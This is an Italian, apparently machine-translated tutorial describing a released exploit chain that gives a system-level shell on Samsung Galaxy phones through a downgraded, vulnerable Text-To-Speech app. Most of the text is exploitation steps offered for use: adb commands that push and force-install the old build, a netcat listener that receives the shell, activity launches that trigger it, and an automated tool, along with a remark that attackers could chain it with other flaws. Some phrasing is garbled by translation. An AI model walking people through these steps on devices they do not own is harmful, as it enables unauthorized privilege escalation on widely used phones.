Come ottenere l'accesso alla shell di sistema su qualsiasi dispositivo Samsung Galaxy

Link veloci

  • Prerequisiti
  • Come sfruttare qualsiasi dispositivo Samsung Galaxy per ottenere l'accesso alla shell di sistema
  • Verifica
  • Conclusione

Il primo lunedì di ogni mese, Google pubblica il Bollettino sulla sicurezza Android. Rivela tutte le vulnerabilità di sicurezza mitigate nei vari componenti del sistema operativo Android come così come il kernel Linux e le relative patch inviate da Google stesso o da terze parti data. I grandi OEM come Samsung hanno la loro opinione su Android, quindi scelgono di inserire le proprie patch e aggiornamenti anche negli aggiornamenti di sicurezza.

Detto questo, è abbastanza difficile prendersi cura di ogni scappatoia. Esistono numerosi vettori di attacco e talvolta è possibile creare la propria catena di exploit basata su una vulnerabilità precedentemente nota solo perché disponi di un nuovo metodo per aggirarne una garanzie. Questo è esattamente ciò che dice il membro senior di XDA K0mraid3 ha fatto con una vulnerabilità vecchia di quattro anni, che gli ha permesso di ottenere l'accesso alla shell di sistema su ogni dispositivo Samsung Galaxy, compresi gli ultimi modelli di punta, in circolazione. Anche se non è la stessa cosa di

avere i privilegi di root, si tratta di un'escalation dei privilegi locali sufficientemente elevata.

Il punto di ingresso principale della vulnerabilità si trova all'interno di Samsung Text-To-Speech (nome del pacchetto: com.samsung. SMT), un'app di sistema precaricata che può essere trovata su ogni dispositivo Samsung Galaxy. L'idea è di eseguire il downgrade della versione installata dell'app a una specifica build vulnerabile (v3.0.02.2 per la precisione), per poi forzarlo a caricare una libreria, che a sua volta apre una shell con privilegio di sistema (UID 1000).

Se vuoi saperne di più sull'exploit, assicurati di dare un'occhiata Spiegazione di Adam Conway, redattore tecnico capo di XDA. Ha parlato con K0mraid3 per comprendere l'intera portata di questo exploit e come funziona.

  1. Per ribadire, questo non è un accesso root (UID 0), ma l'accesso alla shell di sistema è abbastanza potente da eseguire una serie di file binari altrimenti limitati.
  2. La prova di concetto di K0mraid3 richiede un APK di supporto ed è necessario eseguirlo almeno una volta prima di avviare la catena di exploit.
  3. Un'interfaccia utente, ovvero le routine di risparmio energetico integrate nella skin Android personalizzata di Samsung, possono essere problematiche, poiché potrebbero ostacolare la comunicazione tra l'app TTS, l'APK di supporto e la shell. Pertanto, suggeriamo di impostare in anticipo il profilo di risparmio energetico su "Illimitato" per le app.

Prerequisiti

  1. Scarica la build precompilata dell'exploit dal file Discussione del forum XDA o il repository GitHub ufficiale collegato di seguito: Exploit della shell di sistema K0mraid3s
  2. Estrai l'archivio da qualche parte e dovresti trovare la versione vulnerabile dell'APK Samsung Text-To-Speech (samsungTTSVULN2.apk), l'app di supporto (Komraid3s_POC_Vx.x.apk) e un eseguibile Windows denominato systemshell-vx.x.exe.
  3. Assicurati che sia installata l'ultima versione di ADB è installato sul tuo PC/Mac/Chromebook. Inoltre, ricordati di farlo installare/aggiornare i driver USB Samsung se sei un utente Windows.

Come sfruttare qualsiasi dispositivo Samsung Galaxy per ottenere l'accesso alla shell di sistema

Metodo manuale

  1. Collega il dispositivo Galaxy di destinazione al tuo PC con il debug USB attivato, assicurati che sia rilevabile da ADB, quindi installa l'app di supporto.
    adb install Komraid3s_POC_Vx.x.apk
    • Come accennato in precedenza, apri l'app di supporto almeno una volta prima di procedere al passaggio successivo.
  2. Ora spingi la versione vulnerabile dell'app Samsung TTS su /data/local/tmp e modifica le sue autorizzazioni:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Riavviare il dispositivo. Non appena sei nella schermata iniziale, esegui il comando seguente per sostituire la versione già installata dell'app Samsung TTS con quella vulnerabile:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Se tutto va bene, dovresti vedere il messaggio "Successo" sulla console.
  4. Apri una shell sul dispositivo di destinazione aprendo un'altra finestra di terminale ed eseguendo shell adb, quindi esegui il binario Netcat e ascolta una connessione in entrata sulla porta 9997 con il seguente comando:
    adb shell nc -lp 9997
  5. A questo punto dobbiamo eseguire un'attività specifica dell'app Samsung TTS, che aprirà per noi la shell di sistema.
    • Utilizza un'app di terze parti come Questo per creare un collegamento al file “com.samsung. SMT/.gui. Attività DownloadList”.
    • Puoi anche utilizzare il gestore attività di Android (am) per fare lo stesso. In tal caso, puoi eseguirlo tramite ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) o utilizza un'app di emulazione di terminale sul tuo telefono/tablet come Termux ed esegui il seguente comando:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Torna alla prima shell e dovresti vedere un nuovo prompt con privilegio di sistema (UID 1000).

Metodo automatizzato

Per semplificare le cose, K0mraid3 fornisce anche un'applicazione GUI di facile utilizzo per automatizzare la maggior parte delle attività. Tieni presente che l'app GUI è solo per Windows, quindi se sei un utente Linux/macOS, è meglio attenersi al metodo manuale.

  1. Collega il dispositivo Galaxy di destinazione al tuo PC con il debug USB attivo, assicurati che sia rilevabile da ADB, quindi installa l'app di supporto.
    adb install Komraid3s_POC_Vx.x.apk
    • Come accennato in precedenza, apri l'app di supporto almeno una volta prima di procedere al passaggio successivo.
  2. Con il dispositivo di destinazione rilevabile da ADB, esegui systemshell-vx.x.exe sul PC host.
  3. Fare clic sul pulsante "INIZIA SHELL". L'app eseguirà automaticamente il downgrade dell'app Samsung TTS e proverà ad aprire la shell di sistema.
    • Sul tuo telefono/tablet potresti vedere l'app TTS che ti chiede di scaricare alcuni dati vocali. Non è necessario interagire con queste opzioni poiché non hanno nulla a che fare con l'exploit.
    • Nel caso in cui l'app si blocchi o non riesca ad aprire la finestra della shell dopo un po' di tempo, chiudila, riavvia il dispositivo Galaxy di destinazione e ricomincia.
    • L'app Galaxy Store può aggiornare e/o ripristinare automaticamente il profilo di risparmio energetico dell'app TTS in background, quindi assicurati di controllarlo prima di iniziare il processo da zero.

Verifica

Una volta ottenuto l'accesso alla shell, puoi verificare il livello di privilegio utilizzando uno dei comandi seguenti:

  • whoami
    • L'output dovrebbe essere "sistema"
  • id -u
    • L'output dovrebbe essere "1000"

Conclusione

Il modo tipico per ottenere l'accesso root su un dispositivo Android è sbloccare prima il bootloader, che consente di avviare file binari di terze parti. Poiché il modello di sicurezza di Android sostanzialmente fallisce con root, questo passaggio disabilita intenzionalmente una delle funzionalità di sicurezza chiave del dispositivo, che è per questo che l'utente deve consentire esplicitamente che ciò accada abilitando in genere un interruttore nelle Opzioni sviluppatore e quindi emettendo un comando di sblocco al boot loader. Una volta sbloccato il bootloader, l'utente può introdurre nel sistema un binario superutente e anche un'app di gestione superutente (come Magisk) per controllare quali processi hanno accesso a root.

Con l'exploit della shell di sistema sopra menzionato, tuttavia, l'utente non deve sbloccare il bootloader per ottenere un privilegio intensificato. Sebbene sia ben lungi dall'essere root, l'utente "di sistema" è abbastanza capace da accedere a un numero di partizioni di basso livello (come as /efs), avvia vari strumenti di servizio e di debug e altera molti valori di prop protetti, il tutto senza nemmeno intervenire Knox. Questi esempi toccano solo alcuni aspetti; un attore malintenzionato può combinare questo con altre vulnerabilità e ideare azioni più nefaste.

Dovremo aspettare e vedere come Google e Samsung affronteranno lo scenario. In ogni caso, per il momento dovresti probabilmente disabilitare o rimuovere l'app Samsung Text-To-Speech.